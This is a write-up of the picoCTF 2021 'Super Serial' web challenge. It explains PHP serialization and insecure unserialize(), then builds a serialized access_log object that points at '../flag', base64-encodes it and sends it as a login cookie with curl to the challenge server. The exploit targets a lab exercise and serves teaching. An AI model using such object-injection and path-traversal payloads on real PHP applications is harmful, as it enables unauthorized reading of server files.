> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2021/web-exploitation/super-serial.md).

# Super Serial

<figure><img src="/files/nrDgocX2SelYJ1qPJe1H" alt=""><figcaption></figcaption></figure>

At first, I tried to use an SQL injection to get authorization, but that didn't work. Reading the clue and the title again: I did more research:

### What is PHP?&#x20;

PHP(short for Hypertext PreProcessor) is the most widely used open source and general purpose server side scripting language used mainly in web development to create dynamic websites and applications. PHP can actually do anything related to server-side scripting or more popularly known as the backend of a website. For example, PHP can receive data from forms, generate dynamic page content, can work with databases, create sessions, send and receive cookies, send emails etc.

### What is PHP serialize()

```
function serialize(mixed $value): string
```

Generates a storable representation of a value. This is useful for storing or passing PHP values around without losing their type and structure. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

### Solving it:

<figure><img src="/files/RU0Y9KwqtVEEv28uZDr5" alt=""><figcaption></figcaption></figure>

We if we go to robots.txt, we can see that it disallows admin.phps. Nothing pops up at admin.phps, however, if we go to index.phps, we can find the source code there.&#x20;

<figure><img src="/files/lvseQUpr2LIB8kTYrVDh" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/scBR8G5KOlfyqd9XZS0x" alt=""><figcaption></figcaption></figure>

We notice at the top there's a "cookie.php". If we head over there with php it doesn't work, but if we try phps it shows us the code base:

![](/files/n0H7V7X8Qc0vSMplZ5m1)

Specifically we get this function:&#x20;

<figure><img src="/files/IajVVK4ia7IMKqBUO2qL" alt=""><figcaption></figcaption></figure>

The way they handle it is that they first have it encoded as base64 after being serialized as a login cookie, and then is unserialized. We need a payload that can read the ../flag.&#x20;

### What does Serialization Look Like

#### PHP serialization format <a href="#php-serialization-format" id="php-serialization-format"></a>

PHP uses a mostly human-readable string format, with letters representing the data type and numbers representing the length of each entry. For example, consider a `User` object with the attributes:

`$user->name = "carlos"; $user->isLoggedIn = true;`

When serialized, this object may look something like this:

`O:4:"User":2:{s:4:"name":s:6:"carlos";s:10:"isLoggedIn":b:1;}`

```
<?
/*
Anatomy of a serialize()'ed value:

 String
 s:size:value;

 Integer
 i:value;

 Boolean
 b:value; (does not store "true" or "false", does store '1' or '0')

 Null
 N;

 Array
 a:size:{key definition;value definition;(repeated per element)}

 Object
 O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

 String values are always in double quotes
 Array keys are always integers or strings
    "null => 'value'" equates to 's:0:"";s:5:"value";',
    "true => 'value'" equates to 'i:1;s:5:"value";',
    "false => 'value'" equates to 'i:0;s:5:"value";',
    "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
    array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
     and
    attempting to use an object as a key will result in the same behavior as using an array will.
*/
?>
```

### The Payload

We're trying to get access to the log file instead of the access\_list class. We end up with something like this:

```
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
```

We need to pass through the "login=" as our payload. We also need to encode to base64 for our code.

<figure><img src="/files/TPYb8XNOcdkafljvZmSe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eOPHpfIDNBaaWkySKVxO" alt=""><figcaption></figcaption></figure>

Once we encoded it, we need to use curl to send our payload.&#x20;

### What is curl&#x20;

The **curl** command in Linux is a command-line tool used to transfer data between a system and a server using different network protocols. It is widely used for fetching web content, testing APIs, and sending or receiving data over the network. It's basically an all-in-one tool.

* Supports multiple protocols such as HTTP, HTTPS, FTP, and SCP
* Used to download, upload, and send data from the terminal
* Helpful for testing REST APIs and web services
* Works with headers, authentication, and data formats like JSON

```
curl [options] <URL>
```

<figure><img src="/files/cOGylIfp9BnKp1O9kxoK" alt=""><figcaption></figcaption></figure>

```
curl wily-courier.picoctf.net:54552/authentication.php -b "login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"
```

<figure><img src="/files/W8S1wcFdGNaSc6MsNqg5" alt=""><figcaption></figcaption></figure>